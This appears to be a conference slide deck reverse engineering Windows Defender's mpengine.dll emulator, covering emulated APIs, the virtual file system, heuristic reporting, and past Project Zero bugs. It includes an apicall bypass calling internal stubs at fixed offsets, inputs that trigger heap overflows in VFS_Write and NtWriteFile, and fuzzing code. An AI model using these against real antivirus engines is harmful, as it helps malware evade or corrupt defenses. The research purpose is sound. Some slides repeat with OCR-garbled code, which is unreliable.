  CAutoVticks vticks; // [esp+24h] [ebp-34h]
  Parameters<3> arg; // [esp+30h] [ebp-28h]
  int v6; // [esp+54h] [ebp-4h]

  Parameters<3>::Parameters<3>(&arg, v);
  v1 = v->m_DTc;
  vticks.m_init_vticks = &v->vticks32;
  vticks.m_pC = v1;
  v6 = 0;
  v2 = set_full_filename(v, arg.m_Arg[2].val32, arg.m_Arg[1].val64);
  pe_set_return_value(v, v2);
  attr.first.numval32 = 0;
  *attr.first.length = 0;
  *attr.second.length = 0;
  attr.second.numval32 = 0;
  attr.attribid = 12318;
  vticks.m_vticks = 544;
  __siga_check(v, &attr);
  CAutoVticks::~CAutoVticks(&vticks);
}```
Native Emulation Functions

Native emulation functions all take parameter `pe_vars_t *`, ~½mb large struct containing entire emulation session context

Templated `Parameters` functions retrieve parameters to the function from the emulated stack

```c
void __cdecl KERNEL32_DLL_GetModuleFileNameA(pe_vars_t *v)
{
  DT_context *v1; // ecx
  unsigned int v2; // eax
  src_attribute_t attr; // [esp+10h] [ebp-48h]
  CAutoVticks vticks; // [esp+24h] [ebp-34h]
  Parameters<3> arg; // [esp+30h] [ebp-28h]
  int v6; // [esp+54h] [ebp-4h]

  Parameters<3>::Parameters<3>(&arg, v);
  v1 = v->m_pDTc;
  vticks.m_init_vticks = &v->vticks32;
  vticks.m_pC = v1;
  v6 = 0;
  v2 = set_full_filename(v, arg.m_Arg[2].val32, arg.m_Arg[1].val64);
  pe_set_return_value(v, v2);
  attr.first.numval32 = 0;
  *&attr.first.length = 0;
  *&attr.second.length = 0;
  attr.second.numval32 = 0;
  attr.attribid = 12318;
  vticks.m_vticks = 544;
  _siga_check(v, &attr);
  CAutoVticks::~CAutoVticks(&vticks);
}```
Native Emulation Functions

Native emulation functions all take parameter `pe_vars_t *`, ~½mb large struct containing entire emulation session context.

Templated `Parameters` functions retrieve parameters to the function from the emulated stack.

Return values, register state, CPU tick count, etc, are managed through various functions that manipulate `pe_vars_t`.

```c
void cdecl KERNEL32_DLL_GetModuleFileNameA(pe_vars_t *v)
{
    DT_context *v1; // ecx
    unsigned int v2; // eax
    src_attribute_t attr; // [esp+10h] [ebp-48h]
    CAutoVticks vticks; // [esp+24h] [ebp-34h]
    Parameters<3> arg; // [esp+30h] [ebp-28h]
    int v6; // [esp+54h] [ebp-4h]
    Parameters<3>::Parameters<3>(&arg, v);
    v1 = v->m_pDTc;
    vticks.m_init_vticks = &v->vticks32;
    vticks.m_pC = v1;
    v6 = 0;
    v2 = set full filename(v, arg.m_Arg[2].val32, arg.m_Arg[1].val64);
    pe_set_return_value(v, v2);
    attr.first.numval32 = 0;
    *&attr.first.length = 0;
    *&attr.second.length = 0;
    attr.second.numval32 = 0;
    attr.attribid = 12318;
    vticks.m_vticks = 544;
    _sigas_check(v, &attr);
    CAutoVticks::~CAutoVticks(&vticks);
}
```
Interacting With Virtual Memory

mmap functions allow access to the emulated memory space
Interface similar to Unicorn Engine and other similar tools

```c
__mmap_ex<eax>(pe_vars_t *v<ecx>, unsigned int size<edx>, unsigned __int64 addr, unsigned int rights)
buffer = __mmap_ex(v, arg.m_Arg[2].val32, arg.m_Arg[1].val64, 0x40000000u);
```
Interacting With Virtual Memory

`mmap` functions allow access to the emulated memory space
Interface similar to Unicorn Engine and other similar tools

```
__mmap_ex<eax>(pe_vars_t *v<ecx>, unsigned int size<edx>, unsigned __int64 addr, unsigned int rights)

buffer = __mmap_ex(v, arg.m_Arg[2].val32, arg.m_Arg[1].val64, 0x40000000u);
```

Wrapper functions around these functions make common operations easier

```
char __usercall pem_probe_for_write(pe_vars_t *,unsigned __int64,ulong);
f pem_read_buffer(pe_vars_t *,unsigned __int64,ulong,uchar *)&f pem_read_dword(pe_vars_t *,unsigned __int64,ulong) &
f pem_read_qword(pe_vars_t *,unsigned __int64,ulong,uchar const *)&f pem_write_dword(pe_vars_t *,unsigned __int64,ulong)
```

```
WideVirtualString::~WideVirtualString(void)
WideVirtualString::scalar deleting destructor(uint)
```
Windows Emulation & Environment

1. Usermode Environment
2. Usermode Code
3. User-Kernel Interaction
4. Kernel Internals
5. AV Instrumentation
Windows Kernel Emulation

Windows kernel facilities are emulated with native code

- Object Manager
- Process management
- File system
- Registry
- Synchronization primitives
Object Manager

- The Object Manager is an essential part of the Windows Executive - provides kernel mode resource management - processes, files, registry keys, mutexes, etc.

- Defender supports 5 types of objects: File, Thread, Event, Mutant (Mutex), Semaphore.

- Manages system state during emulation that is persistent between native emulation API calls.
Object Manager Types

5 types of object:
1. File
2. Thread
3. Event
4. Mutant (Mutex)
5. Semaphore

Objects are stored in a map, tracked by pid and handle.

Objects identify themselves by C++ virtual method call, RTTI is used to cast from ObjectManager::Object to specific subclasses.

```
ObjectManager::FileObject *__stdcall ObjectManager::getFileObject(...);
```

```
if (v3 && (*v3->vfptr->getVRpiGap4(v3) == 1)
result = __RTDynamicCast(ObjectManager::EventObject, v4);
else
result = 0;
return result;
```
Object Manager Integration

The Object Manager manages persistent system state during an emulation session

```cpp
newObj = ObjectManager::openObject(v->objMgr, v->pe_pid, name, ObjType_Mutant, &objExists + 1);
if (newObj == -1)
{
    pe_set_return_value(v, HIBYTE(objExists) == 0 ? STATUS_NO_SUCH_FILE : STATUS_OBJECT_TYPE_MISMATCH);
}
```

```cpp
fileObject = ObjectManager::getFileObject(objMgr, pe_pid, arg.m_Arg[0].val32);
if (!fileObject)
{
    status = STATUS_INVALID_HANDLE;
    goto LABEL_13;
}
```
Object Manager Integration

The Object Manager manages persistent system state during an emulation session.

Current process handle is emulated as 0x1234

```c
void __cdecl KERNEL32_DLL_GetCurrentProcess(pe_vars_t *v)
{
    pe_set_return_value(v, 0x1234u164);
    v->m_pDTc->m_vticks64 += 32164;
}
```

```c
void __cdecl NTDLL_DLL_NtOpenMutantWorker
{
    newObj = ObjectManager::openObject(v->objMgr, v->pe_pid, name, ObjType_Mutant, &objExists + 1);
    Byte(v0) = 2;
    std::basic_string<unsigned short, std::char_traits<unsigned short>, std::allocator<unsigned short>> tid;
    &v12,
    1,
    0);
    if (newObj == -1)
    {
        pe_set_return_value(v, (HIBYTE(objExists) == 0 ? STATUS_NO_SUCH_FILE : STATUS_OBJECT_TYPE_MISMATCH));
    }
}
```

```c
void __cdecl NTDLL_DLL_NtSetInformationFileWorker
{
    fileObject = ObjectManager::getFileObject(objMgr, pe_pid, arg.m_Arg[0].val32);
    if (!fileObject)
    {
        status = STATUS_INVALID_HANDLE;
        goto LABEL_13;
    }
}
```
## VFS - Virtual File System

- Native emulation functions are filed under **NTDLL** (but accessible from multiple VDLLs via `apicall` stubs).
- **NTDLL_DLL_VFS_*** functions do administrative work before calling into internal **VFS_*** functions that actually engage with the virtual file system, calling its methods to manipulate contents.
- **NTDLL Nt** emulation functions that interact with the file system call down into **VFS_*** functions after checking / normalizing / sanitizing inputs.
VFS-Specific Native Emulations

ObjMgr.ValidateVFSHandle
VFS_CopyFile
VFS_DeleteFile
VFS_DeleteFileByHandle
VFS_FileExists
VFS_FindClose
VFS_FindFirstFile
VFS_FindNextFile
VFS_FlushViewOfFile
VFS_GetAttrib
VFS_GetHandle
VFS_GetLength
VFS_MapViewOfFile
VFS_MoveFile
VFS_Open
VFS_Read
VFS_SetAttrib
VFS_SetCurrentDir
VFS_SetLength
VFS_UnmapViewOfFile
VFS_Write

dt mpengine!pe_vars_t
...
Windows Emulation & Environment

1. Usermode Environment
2. Usermode Code
3. User-Kernel Interaction
4. Kernel Internals
5. AV Instrumentation
Defender Internal Functions

Internal administration and configuration functions accessible via `apicall`:

- **MpAddToScanQueue**
  Queue up a file (e.g., a dropped binary) for scanning

- **MpCreateMemoryAliasing**
  Alias memory in emulator

- **MpReportEvent, MpReportEvent{Ex,W}**
  Report malware behavior to inform heuristic detections

- **Mp{Get,Set}SelectorBase**
  Get/set segment registers (`CS, DS, ES, etc`)

- **MpUfsMetadataOp**
  Get/set metadata about the file being scanned

- **NtControlChannel**
  IOCTL-like administration for the AV engine
MpReportEvent

Used to communicate information about malware binary actions with Defender’s heuristic detection engine

```c
UINT __stdcall GetSystemDirectoryW(LPWSTR lpBuffer, UINT uSize)
{
    UINT result; // eax
    if (lpBuffer)
    {
        MpReportEvent(12331, 0, 0);
        result = 20;
        if (uSize < 20)
        {
            NtCurrentTeb()->LastErrorValue = ERROR_INSUFFICIENT_BUFFER;
            return result;
        }
        qmemcpy(lpBuffer, L"C:\\WINDOWS\\SYSTEM32", 4095);
    }
    return 19;
}

if (ProcessId == GetCurrentProcessId())
{
    MpReportEvent(0x303D, 0, (int)"SELF");
    return 0;
}
```

```c
if (ProgramPath && !memcmp(ProgramPath, "C:\\WINDOWS\\system32\cmd.exe", 32) && !memcmp(ProgramPath + 31, "C:\\myapp.exe", 0xCu))
{
    if (Str1)
    {
        MpReportEvent(12312, Str1, ProgramPath);
    }
    else
    {
        MpReportEvent(12312, ProgramPath, 0);
    }
    Str1 = 0;
    ProgramPath += 31;
}
```

```c
if (dwCreationFlags & CREATE_SUSPENDED && ProgramPath)
{
    MpReportEvent(0x3018, "CREATE_SUSPENDED", ProgramPath);
}
```
BOOL __stdcall QueryServiceStatus(SC_HANDLE hService)
{
    int v2; // ST08_4
    int *v3; // esi
    int v5; // [esp+0h] [ebp-18h]
    char serviceNum; // [esp+8h] [ebp-10h]

    itoa(hService, &serviceNum, v5);
    MpReportEvent(v2, 0x3088, &serviceNum, 0);
    if (hService - 753664 < 0x40 && (v3 = &dword_77))
        fileService = -1;
    if (get_file_size_with_NtQueryInformationFile(hFile, &fileSize))
    {
        if (lpFileSizeHigh)
            *lpFileSizeHigh = 0;
        else if (g_GetFileSize_called_count == 100)
            NtCurrentTeb()->LastErrorValue = ERROR_INVALID_HANDLE;
    } else
    {
        ++g_GetFileSize_called_count;
        v2 = NtCurrentTeb();
    }

    UINT __stdcall GetDriveTypeA_Internal(LPCSTR lRootPathName)
{
    unsigned int v2; // edx
    CHAR v3; // al
    CHAR v4; // bl
    CHAR v5; // cl
    bool v6; // zf
    int v7; // ecx
    int v8; // ecx
    int v9; // ecx
    CHAR v10; // al

    MpReportEvent(0x304F, lRootPathName, 0);
    if (!lRootPathName)
        return 3;

    localBuf = LocalAlloc(0, 2 * bufLen + 1);
    if (localBuf)
    {
        memcpy(localBuf, v6, bufLen);
        strlen = ::strlen(&Str);
        _mpReportEventEx(0x300A, localBuf, &Str, (bufLen << 8) | strlen);
        LocalFree(localBuf);
    }
MpReportEvent - AV Processes

Processes types are grouped by PID - processes for antivirus software has 700 PIDs

700  - kav.exe
704  - avpcc.exe
708  - _avpm.exe
712  - avp32.exe
716  - avp.exe
720  - antivirus.exe
724  - fsav.exe
728  - norton.exe
732  - msmpeng.exe
736  - msmpsvc.exe
740  - mrt.exe
744  - outpost.exe

Emulated process information is stored in a data structure in the kernel32.dll VDLL and presented when enumerated

Calling TerminateProcess on an AV product triggers an MpReportEvent call

```c
if ( PID - 700 > 199 )
    MpReportEvent(12349, v3[2], 0);
else
    MpReportEvent(12349, v3[2], "AV");
```
<table>
<thead>
<tr>
<th></th>
<th>Action</th>
<th>Argument 1</th>
<th>Action</th>
<th>Argument 1</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>set attribute</td>
<td>set_static_unpacking</td>
<td>14</td>
<td>get arbitrary attribute substring</td>
</tr>
<tr>
<td>2</td>
<td>delete attribute store</td>
<td>pea_disable_static_unpacking</td>
<td>15</td>
<td>set pe_vars_t-&gt;max_respawns value</td>
</tr>
<tr>
<td>3</td>
<td>get</td>
<td>mpengine.dll version number</td>
<td>16</td>
<td>modify register state (?)</td>
</tr>
<tr>
<td>4</td>
<td>set attribute</td>
<td>set_pea_enable_vmm-grow</td>
<td>17</td>
<td>set arbitrary attribute</td>
</tr>
<tr>
<td>5</td>
<td>set attribute</td>
<td>set_pea_deep_analysis</td>
<td>18</td>
<td>load microcode</td>
</tr>
<tr>
<td>6</td>
<td>set attribute</td>
<td>set_pea_hstr-exhaustive</td>
<td>19</td>
<td>set breakpoint</td>
</tr>
<tr>
<td>7</td>
<td>set attribute</td>
<td>set_pea-aggressive-import</td>
<td>20</td>
<td>retrieve get_icnt_inside_loop value</td>
</tr>
<tr>
<td>8</td>
<td>set attribute</td>
<td>set_pea-skip-unimplemented-opc</td>
<td>21</td>
<td>some sort of domain name signature check</td>
</tr>
<tr>
<td>9</td>
<td>set attribute</td>
<td>pea_skip_unimplemented_opc</td>
<td>22</td>
<td>set pe_vars_t-&gt;internalapis</td>
</tr>
<tr>
<td>10</td>
<td>set attribute</td>
<td>set_pea-disable-apicall-limit</td>
<td>23+24</td>
<td>switch_to_net32_proc (.NET)</td>
</tr>
<tr>
<td>11</td>
<td>get arbitrary attribute</td>
<td></td>
<td>25</td>
<td>get arbitrary pe attribute by number</td>
</tr>
<tr>
<td>12</td>
<td>check if malware is packed with a given packer</td>
<td></td>
<td>26-31</td>
<td>unimplemented</td>
</tr>
<tr>
<td>13</td>
<td>set attribute</td>
<td>pea_disable_seh-limit</td>
<td>32</td>
<td>scan_msil_by_base</td>
</tr>
</tbody>
</table>
Outline

1. Introduction
2. Tooling & Process
3. Reverse Engineering
4. Vulnerability Research
   a. Understanding P0’s Vulnerabilities
   b. Bypassing Mitigations With apicall Abuse
   c. Fuzzing
5. Conclusion
Tavis’ **apicall Trick**

- **Build binary with an** rwx `.text` **section, generate** apicall **instruction on the fly as needed**

- **apicall instruction triggers native emulation functions from malware** `.text` **section with attacker controlled**

```c
DWORD MpApiCall(PCHAR Module, PCHAR ProcName, ...)
{
    DWORD Result;
    DWORD ApiCrc;

    ApiCrc = crcstr(Module) ^ crcstr(ProcName);

    _asm
    {
        mov     eax, dword ptr ApiCrc
        mov     [apicode], eax
        mov     ebx, esp
        lea     esp, ProcName
        _emit   0x0f ; apicall opcode
        _emit   0xff ; apicall opcode
        _emit   0xf0 ; apicall opcode
        apicode:
            _emit   0x00 ; apicall immediate
            _emit   0x00 ; apicall immediate
            _emit   0x00 ; apicall immediate
            _emit   0x00 ; apicall immediate
        mov     esp, ebx
        mov     Result, eax
    }

    return Result;
}
```
case 0x12:
    vticks.m_vticks = 1536;
    if ( v1 )
        DT_context::load_microcode(v1, Params[1], v->sehhandler);
    else
        HIDWORD(v1) = 1;
    pe_set_return_value(v, SHIDWORD(v1));
go to retn;
Tavis' NtControlChannel Bug

```c
if (ecnCopy)
{
    mappedMem = (this0->m_pvmm->vfptr->mmmap64)(
        this0->m_pvmm,
        this0->m_ucode_table,
        HIDWORD(this0->m_ucode_table),
        8 * ecntCopy,
        1);

    if (mappedMem)
    {
        if (8 * ecntCopy)
        {
            pCurrentEntry = (mappedMem + 1);
            count = ((8 * ecntCopy - 1) >> 3) + 1;
            do
            {
                val = *pCurrentEntry;
                if (!(*pCurrentEntry - 1))
                    val |= 0x100u;
                pCurrentEntry += 8;
                this0->m_ucode_avail[val >> 3] |= 1 << (val & 7);
                --count;
            } while (count);
        }
    }
}
```
Tavis’ NtControlChannel Bug

```c
if ( cntCopy ) {
    mappedMem = (this->m_pvm->vfptr->mmap64)(
        this->m_pvm,
        this->m_ucode_table,
        HIDWORD(this->m_ucode_table),
        8 * cntCopy,
        1);
    if ( mappedMem ) {
        if ( 8 * cntCopy ) {
            pCurrentEntry = (mappedMem + 1);
            count = ((8 * cntCopy - 1) >> 3) + 1;
            do {
                val = *pCurrentEntry;
                if ( *(pCurrentEntry - 1) )
                    val |= 0x100u;
                pCurrentEntry += 8;
                this->m_ucode_avail[val >> 3] |= 1 << (val & 7);
                --count;
            } while ( count );
        }
    }
}
```

case 0x12:
vticks.m_vticks = 1536;
if ( v1 )
    DT_context::load_microcode(v1, Params[1], v->sehhandler);
else
    HIDWORD(v1) = 1;
pe_set_return_value(v, SHIDWORD(v1));
goto retn;

**count** is user controlled
Tavis’ NtControlChannel Bug

```c
if ( ecntCopy )
{
    mappedMem = (this0->m_pvmm->vfptr->mmmap64)(
        this0->m_pvmm,
        this0->m_ucode_table,
        HIDWORD(this0->m_ucode_table),
        8 * ecntCopy, 1);
    if ( mappedMem )
    {
        if ( 8 * ecntCopy )
        {
            pCurrentEntry = (mappedMem + 1);
            count = ((8 * ecntCopy - 1) >> 3) + 1;
            do
            {
                val = *pCurrentEntry;
                if ( *(pCurrentEntry - 1) )
                    val |= 0x1000;
                pCurrentEntry += 8;
                this0->m_ucode_avail[val >> 3] |= 1 << (val & 7);
                --count;
            }
            while ( count );
        }
        if ( !mappedMem )
            return 0;
        if ( 8 * ecntCopy )
        {
            pCurrentEntry = (mappedMem + 1);
            count = ((8 * ecntCopy - 1) >> 3) + 1;
            do
            {
                val = *pCurrentEntry;
                if ( *(pCurrentEntry - 1) )
                    val |= 0x1000;
                pCurrentEntry += 8;
                *(this0 + (val >> 3) + 13803) |= 1 << (val & 7);
                --count;
            }
            while ( count );
        }
        return 1;
    }
}
```

Count is user controlled

Patched with max 0x10000 count check
Tavis' VFS_Write Bug

Heap OOB r/w: buffer gets extended to offset, but no space is allocated for it. r/w at arbitrary offsets then possible

VFS_Write(Handle, Buf, 0, 0xffffffff, 0);
VFS_Write(Handle, Buf, 0x7ff, 0x41414141, 0);

char __usercall VFS_Write<void>(VirtualFS *vfs@<ecx>, unsigned int hFile@<edx>, char * pBuffer, unsigned int nBytesToWrite, unsigned int nOffset, unsigned int * pBytesWritten)
{
    VirtualFS *v6; // edi
    void *__formal; // [esp+18h] [ebp-18h]

    __formal = hFile;
    v6 = vfs;
    if ( v6->vfptr->getWriteFailCount(vfs) >= 5 || !v6->vfptr->write(v6, __formal, pBuffer, nBytesToWrite, nOffset) )
        return 0;
    if ( pBytesWritten )
        *pBytesWritten = nBytesToWrite;
    v6->vfptr->writeFailed(v6, 0);
    return 1;
}
Outline

1. Introduction
2. Tooling & Process
3. Reverse Engineering
4. Vulnerability Research
   a. Understanding P0’s Vulnerabilities
   b. Bypassing Mitigations With apicall Abuse
   c. Fuzzing
5. Conclusion
Locking Down `apicall`

`is_vdll_page` call added to `__call_api_by_crc` in 6/20/2017 `mpengine.dll` build - is the `apicall` instruction coming from a VDLL?

Can’t just trigger `apicall` from malware `.text` section or otherwise malware-created memory (eg: rwx allocation) anymore

```c
if ( !(v_pe_vars + 167453) )
{
    LODWORD(page) = v6;
    if ( is_vdll_page(v_alias, page) && (!mmap_is_dynamic_page(v_alias, *(v+26 - 1)) || nidsearchrecid(v29) != 1) )
        if ( !(v_pe_vars + 167454) )
            qmemcpy(&dst, &NullSha1, 0x14u);
            v16 = v_pe_vars;
            MpSetAttribute(0, 0, &dst, 0, *(v+27 - 1));
            (v_pe_vars + 167454) = 1;
        return 0;
}
}
```

If `apicall` did not come from a VDLL, set a heuristic and deny it

Proceed with processing if `apicall` is ok
Bypass

- **apicall** stubs are located throughout VDLLs
- They can be located in memory and called directly by malware, with attacker controlled arguments
  - Passes `is_vdll_page` checks

Response from Microsoft: “We did indeed make some changes to make this interface harder to reach from the code we’re emulating - however, that was never intended to be a trust boundary.

Accessing the internal APIs exposed to the emulation code is not a security vulnerability...”
VOID OutputDebugStringA_APICALL (PCHAR msg) {
    typedef VOID (*PODS)(PCHAR);
    HMODULE k32base = LoadLibraryA("kernel32.dll");
    PODS apicallODS = (PODS)((PBYTE)k32base + 0x16d4e);
    apicallODS(msg);
}

Kernel32 base offset: 0x16d4e

Comes from kernel32 VDLL, so passes is_vdll_page checks

OutputDebugStringA can be normally hit from kernel32, so this is ultimately just a unique way of doing that
VOID NtControlChannel_APICALL()
{
    typedef VOID(*PNTCC)(DWORD, PVOID);
    HMODULE k32base = LoadLibraryA(“kernel32.dll”);
    PNTCC apicallNTCC = (PNTCC)((PBYTE)k32base + 0x52004);
    apicallNTCC(0x11, “virut_body_found”);
}

NtControlChannel(0x11, “virut_body_found”) triggers immediate malware detection

Comes from kernel32 VDLL, so passes is_vdll_page checks

Kernel32 base offset: 0x52004

NtControlChannel should not be exposed to malware running inside the emulator
Demo

api call abuse
### Bypass Implications

Fingerprint and manipulate the analysis environment and malware detection heuristics ([NtControlChannel, MpReportEvent](#)).

Access to an attack surface with a known history of memory corruption vulnerabilities.

Seems very difficult to mitigate against abuse.

<table>
<thead>
<tr>
<th></th>
<th>Description</th>
<th></th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>set attribute set_static_unpacking</td>
<td>14</td>
<td>get arbitrary attribute substring</td>
</tr>
<tr>
<td>2</td>
<td>delete attribute store</td>
<td>15</td>
<td>set \texttt{pe_vars_t-&gt;max_respawns} value</td>
</tr>
<tr>
<td></td>
<td>\texttt{pea_disable_static_unpacking}</td>
<td></td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>get \texttt{mpengine.dll} version number</td>
<td>16</td>
<td>modify register state (?)</td>
</tr>
<tr>
<td>4</td>
<td>set attribute set_pea_enable_vmm_grow</td>
<td>17</td>
<td>set arbitrary attribute</td>
</tr>
<tr>
<td>5</td>
<td>set attribute set_pea_deep_analysis</td>
<td>18</td>
<td>load microcode</td>
</tr>
<tr>
<td>6</td>
<td>set attribute set_pea_hstr_exhaustive</td>
<td>19</td>
<td>set breakpoint</td>
</tr>
<tr>
<td>7</td>
<td>set attribute set_pea_aggressive_import</td>
<td>20</td>
<td>retrieve \texttt{get_icnt_inside_loop} value</td>
</tr>
<tr>
<td>8</td>
<td>set attribute set_pea_skip_unimplemented_opc</td>
<td>21</td>
<td>some sort of domain name signature check</td>
</tr>
<tr>
<td>9</td>
<td>set attribute \texttt{pea_skip_unimplemented_opc}</td>
<td>22</td>
<td>set \texttt{pe_vars_t-&gt;internalapis}</td>
</tr>
<tr>
<td>10</td>
<td>set attribute set_pea_disable_apicall_limit</td>
<td>23-24</td>
<td>switch_to_net32_proc (<strong>NET</strong>)</td>
</tr>
<tr>
<td>11</td>
<td>get arbitrary attribute</td>
<td>25</td>
<td>get arbitrary pe attribute by number</td>
</tr>
<tr>
<td>12</td>
<td>check if malware is packed with a given packer</td>
<td>26-31</td>
<td>unimplemented</td>
</tr>
<tr>
<td>13</td>
<td>set attribute \texttt{pea_disable_seh_limit}</td>
<td>32</td>
<td>scan_msil_by_base</td>
</tr>
</tbody>
</table>
Outline

1. Introduction
2. Tooling & Process
3. Reverse Engineering
4. Vulnerability Research
   a. Understanding P0’s Vulnerabilities
   b. Bypassing Mitigations With apicall Abuse
   c. Fuzzing
5. Conclusion
Fuzzing Emulated APIs

- Create a binary that goes inside the emulator and repeatedly calls hooked `WinExec` function to request new data, then sends that data to functions with native emulations
- Buffers in memory passed to external hook function to populate with parameters
- Could do fuzzing in-emulator too, but this is easier for logging results

```c
case ParamTypeDWORD32:
    fuzzParam->Params[i].RawParam = GetFuzzDWORD();
    elog($INFO, "%ld DWORD RawParam: 0x%llx", i, currentParam->RawParam);
    flog(fuzzParam->Init.logfiletest, "%LDWORD: 0x%llx\n", currentParam->RawParam);
    break;

case ParamTypeDWORD16:
    fuzzParam->Params[i].RawParam = GetFuzzDWORD();
    elog($INFO, "%h WORD RawParam: 0x%hx", i, currentParam->RawParam);
    flog(fuzzParam->Init.logfiletest, "%hWORD: 0x%hx\n", currentParam->RawParam);
    break;

case ParamTypeBYTE8:
    fuzzParam->Params[i].RawParam = GetFuzzBYTE();
    elog($INFO, "%d BYTE RawParam: 0x%lx", i, currentParam->RawParam);
    flog(fuzzParam->Init.logfiletest, "%dBYTE: 0x%lx\n", currentParam->RawParam);
    break;

case ParamTypeINVALID:
    default:
    elog($ERROR, "%d UNKNOWN 0x%hx", i, currentParam->Type);
    fuzzParam->KillSelf = 1;
    break;
```
Input Generation

- Borrow OSX syscall fuzzer code from MWR Labs OSXFuzz project*

- Nothing fancy, just throw random values at native emulation handlers

- Re-seed \texttt{rand()} at the start of each emulation session, just save off seeds in a log

*github.com/mwrlabs/OSXFuzz
NtWriteFile **Overflow**

NtWriteFile is normally accessible and exported by ntdll.dll

- VFS_Write has to be triggered with special apicall
- Tavis' inputs get sanitized out by NtWriteFileWorker before it calls down to VFS_Write

```cpp
LARGE_INTEGER L;
L.QuadPart = 0x2ff9ad29ffffffc25;
NtWriteFile(
  hFile,
  NULL,
  NULL,
  NULL,
  &ioStatus,
  buf,
  0x1,
  &L,
  NULL);

L.QuadPart = 0x29548af5d7b3b7c;
NtWriteFile(
  hFile,
  NULL,
  NULL,
  NULL,
  &ioStatus,
  buf,
  0x1,
  &L,
  NULL);
```

```cpp
byteOffsLow = 0;
byteOffsHigh = v16->vfptr[1].postDecOpenCount(&v16->vfptr);
hFile = (v16->vfptr[1].__vecDelDtor)(v16);
if ( !VFS_Write(v->vfs, hFile, pBuffer, arg.m_Arg[6].val32, byteOffsHigh, &byteOffsLow) || !byteOffsLow )
goto LABEL 31;
```
**NtWriteFile** **Overflow**

*NtWriteFile* is normally accessible and exported by *ntdll.dll*

- *VFS_Write* has to be triggered with special *apicall*

Tavis’ inputs get sanitized out by *NtWriteFileWorker* before it calls down to *VFS_Write*

I fuzzed *NtWriteFile*:

- ~7 minutes @ ~8,000 *NtWriteFile* calls / second
- Fuzzed Length arguments
- Reproduced Tavis’ crash, alternate easier to reach code path through *NtWriteFile*

Unfortunately, patches for *VFS_Write* bug also fixed this

```c
byteOffsLow = 0;
byteOffsHigh = v16->vfptr[1].postDecOpenCount(&v16->vfptr);
hFile = (v16->vfptr[1].__vecDtor)(v16);
if ( !VFS_Write(v->vfs, hFile, pBuffer, arg.m_Arg[6].val32, byteOffsHigh, &byteOffsLow) || !byteOffsLow )
goto LABEL 31;
```
Demo

Fuzzing NtWriteFile
Outline

1. Introduction
2. Tooling & Process
3. Reverse Engineering
4. Vulnerability Research
5. Conclusion
Summary

We covered:
- Tooling and instrumentation
- CPU dynamic translation basics for x86
- Windows environment and emulation for 32-bit x86 binaries
- A bit on vulnerability research
Summary

We covered:

- Tooling and instrumentation
- CPU dynamic translation basics for x86
- Windows environment and emulation for 32-bit x86 binaries
- A bit on vulnerability research

Not covered:

- CPU dynamic translation internals
  - Non-x86 architectures (x64, ARM, VMProtect, etc...)
  - Unpacker integration
- 16-bit emulation
- Threading model
- .NET analysis
Also Inside mpengine.dll
Also Inside mpengine.dll

Unpackers
Also Inside mpengine.dll

Unpackers

Parsers
Also Inside `mpengine.dll`

**Unpackers**

- AspackUnpacker::DetectGeometry(void)
- AspackUnpacker::DetermineCompressionFlags(void)
- AspackUnpacker::FixPE(void)
- AspackUnpacker::GetUncompressedSize(void)
- AspackUnpacker::PeekEBP(PtTy)
- AspackUnpacker::ResolveCall(PtTy)
- AspackUnpacker::ResolveEP(void)
- AspackUnpacker::ResolveImport(void)

**Parsers**

- CX509CertificateParser::BinaryElement(Asn1ElementType, uchar const*)
- LnkParser::LnkParser(SCAN_REPLY *, LUM_t)
- LnkParser::LnkParser(SCAN_REPLY *, lnk_file_t)
- LnkParser::LnkParser(SCAN_REPLY *, ulong)
- LnkParser::Parse_Args(uchar *, uint)
- LnkParser::Parse_ICONLOCATION(uchar *, uint)
- LnkParser::Parse_LINKINFO(uchar *, uint)
- LnkParser::Parse_NAME(uchar *, uint)
- LnkParser::Parse_RELPATH(uchar *, uint)
- LnkParser::Parse_WORKINGDIR(uchar *, uint)

**JS Engine** - see my REcon Brx talk
Also Inside `mpengine.dll`

- Unpackers
- Parsers
- Other Scanning Engines

JS Engine - see my REcon Brx talk
Also Inside `mpengine.dll`

**Unpackers**
- AspackUnpacker10::DetectGeometry(void)
- AspackUnpacker10::DetermineCompressionFlags(zexpk)
- AspackUnpacker10::FixPE(void)
- AspackUnpacker10::GetUncompressed(void)
- AspackUnpacker10::PeekEIP(PtTy)
- AspackUnpacker10::ResolveCall(PtTy)
- AspackUnpacker10::ResolveEP(void)
- AspackUnpacker10::ResolveImport(void)

**parsers**
- CX509CertificateParser::Parser(binary element, char const *, uint)
- LnkParser::ParseForce(void)

**Other Scanning Engines**
- .NET Engine
- JS Engine - see my REcon Brx talk

**Unpackers**
- Buffer_72::Buffer_72(I2ZIOD, *IDataI0*)
- Buffer_72::FillBuffer(void)

**Other Scanning Engines**
- NET_IL_translator<unsigned int, uint64_t>:
  - ParseMemberRef(ch, ch)
- UnTrustedFileModule::CreateClassInstance<msl_class_type info_t, *>
  - GetClassByMember(uint, bool, msl_class_type info_t, *char const *, *char const *, *char const *, *char const *)

**Other Scanning Engines**
- esc_apkcall_emu(DT_context, *unsigned int*)
- esc_apkcall_pfd(DT_context, *unsigned int*)
- esc_box_emu(DT_context, *unsigned int*)
- esc_call_emu(22DT_context, *unsigned int*)
- esc_call_emu(64DT_context, *unsigned int*)
- esc_emu_worker
Also Inside mpengine.dll

JS Engine - see my REcon Brx talk
Tip: the Lua engine is for signatures - attackers can't hit it

Parser

Unpackers

.NET Engine

Other Scanning Engines
Antivirus Reverse Engineering

- People constantly talk about what AVs can or can’t do, and how/where they are vulnerable
- These claims are mostly backed up by Tavis Ormandy’s work at Project Zero and a handful of other conference talks, papers, and blogposts

I hope we’ll see more AV research in the future
Code & More Information

github.com/0xAlexei

Code release:
- OutputDebugStringA hooking
- “Malware” binary to go inside the emulator
- Some IDA scripts, including `apicall` disassembler

Article in PoC||GTFO 0x19:
- OutputDebugStringA hooking
- Patch diffing and `apicall` bypass
- `apicall` disassembly with IDA processor extension module
Conclusion

1. Exposition of how a modern AV uses emulation to conduct dynamic analysis on the endpoint
2. Discussion of emulator traits that malware may use to detect, evade, and exploit emulators
3. Demonstration of attacker / reverse engineer analysis process and tooling

Thank You:
- Tavis Ormandy - exposing the engine, mpclient, sharing ideas
- Mark - hooking ideas
- Markus Gaasedelen - Lighthouse
- Joxean Koret - OG AV hacker
- Numerous friends who helped edit these slides

Published presentation has 50+ more slides


@0xAlexei Open DMs

github.com/0xAlexei

Turn on virus protection
